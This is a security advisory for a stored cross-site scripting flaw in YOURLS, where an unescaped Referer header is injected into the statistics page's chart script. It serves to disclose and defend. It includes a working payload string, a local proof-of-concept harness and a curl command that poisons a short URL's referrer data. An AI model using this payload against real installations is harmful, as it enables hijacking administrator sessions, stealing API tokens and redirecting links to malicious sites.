PT-2026-80226 · Packagist · Yourls/Yourls

Published

2026-08-21

·

Updated

2026-08-21

CVSS v3.1

8.2

High

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

Summary

YOURLS stores the HTTP Referer header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted Referer header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.
This is reachable in default private installations when authenticated users view stats, and in documented configurations where YOURLS PRIVATE INFOS is set to false to make statistics pages public.

Details

The vulnerable source-to-sink path is:
text
HTTP Referer header
 -> yourls get referrer()
 -> yourls sanitize url safe()
 -> yourls log redirect()
 -> log table referrer column
 -> yourls-infos.php referrer aggregation
 -> yourls get domain()
 -> yourls stats pie()
 -> yourls google array to data table()
 -> inline JavaScript
Relevant code:
  • includes/functions.php:240-243: yourls get referrer() reads $ SERVER['HTTP REFERER'], calls yourls sanitize url safe(), and truncates the result to 200 bytes.
  • includes/functions.php:294-307: yourls redirect shorturl() calls yourls log redirect() before redirecting the visitor.
  • includes/functions.php:516-545: yourls log redirect() stores the sanitized referrer in the log table.
  • yourls-infos.php:60-82: the statistics page reads logged referrers and groups them by yourls get domain($row->referrer).
  • yourls-infos.php:493-498: the statistics page passes referrer domains to yourls stats pie().
  • includes/functions-infos.php:338-355: yourls google array to data table() manually concatenates labels into JavaScript as ['$label', ...] without escaping single quotes, backslashes, or other JavaScript string metacharacters.
  • includes/functions-formatting.php:141-143 and includes/functions-formatting.php:555-609: yourls sanitize url safe() removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including ', [, ], ,, and parentheses.
A crafted referrer host such as:
text
x',1],['marker',alert(1)],['z.tld
survives sanitization when used in a URL like:
text
http://x',1],['marker',alert(1)],['z.tld/path
It is then rendered into chart JavaScript like:
javascript
var data = google.visualization.arrayToDataTable([
  ['x',1],['marker',alert(1)],['z.tld',1]
]);
The alert(1) call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.

PoC

The following local harness was run against commit c3fc8e2370d240403c17c2e4a70e1e234759a5b3. It exercises YOURLS' real URL sanitizer, domain extraction, and yourls stats pie() chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and alert().
sh
docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d display startup errors=0 -r '
define("IDNA DEFAULT",0);
define("INTL IDNA VARIANT UTS46",1);
function yourls add action(){ }
function yourls do action(){ }
function yourls apply filter($tag,$value){ return $value; }
function yourls get protocol($url){ preg match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; }
function yourls is allowed protocol($url,$protocols=[]){ if(!$protocols){ global $yourls allowedprotocols; $protocols=$yourls allowedprotocols; } return in array(yourls get protocol($url), $protocols); }
if(!function exists("idn to utf8")){ function idn to utf8($domain,$flags=0,$variant=0){ return $domain; } }
require "includes/vendor/autoload.php";
require "includes/functions-kses.php";
yourls kses init();
require "includes/functions-formatting.php";
require "includes/functions-infos.php";
$ref="http://xx27,1],[x27markerx27,alert(1)],[x27z.tld/path";
$san=substr(yourls sanitize url safe($ref),0,200);
$host=yourls get domain($san);
ob start();
yourls stats pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat tab source ref");
$html=ob get clean();
preg match("#<script[^>]*>(.*?)</script>#s", $html, $m);
$js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[1]."; console.log(x27san=x27+".json encode($san)."); console.log(x27host=x27+".json encode($host)."); console.log(x27pwned=x27+global.pwned);";
echo $js;
' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js
Observed output:
text
san=http://x',1],['marker',alert(1)],['z.tld/path
host=x',1],['marker',alert(1)],['z.tld
pwned=1
A request that would poison statistics for an existing short URL in a local YOURLS instance is:
sh
curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" 
 http://localhost/<existing-keyword>
Then view the affected short URL's stats page:
text
http://localhost/<existing-keyword>+
The payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present.

Impact

Beyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.
In a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.
The XSS can also fetch /admin/tools.php and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes.
Confidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-79

Related Identifiers

GHSA-5H77-88J3-R659

Affected Products

Yourls/Yourls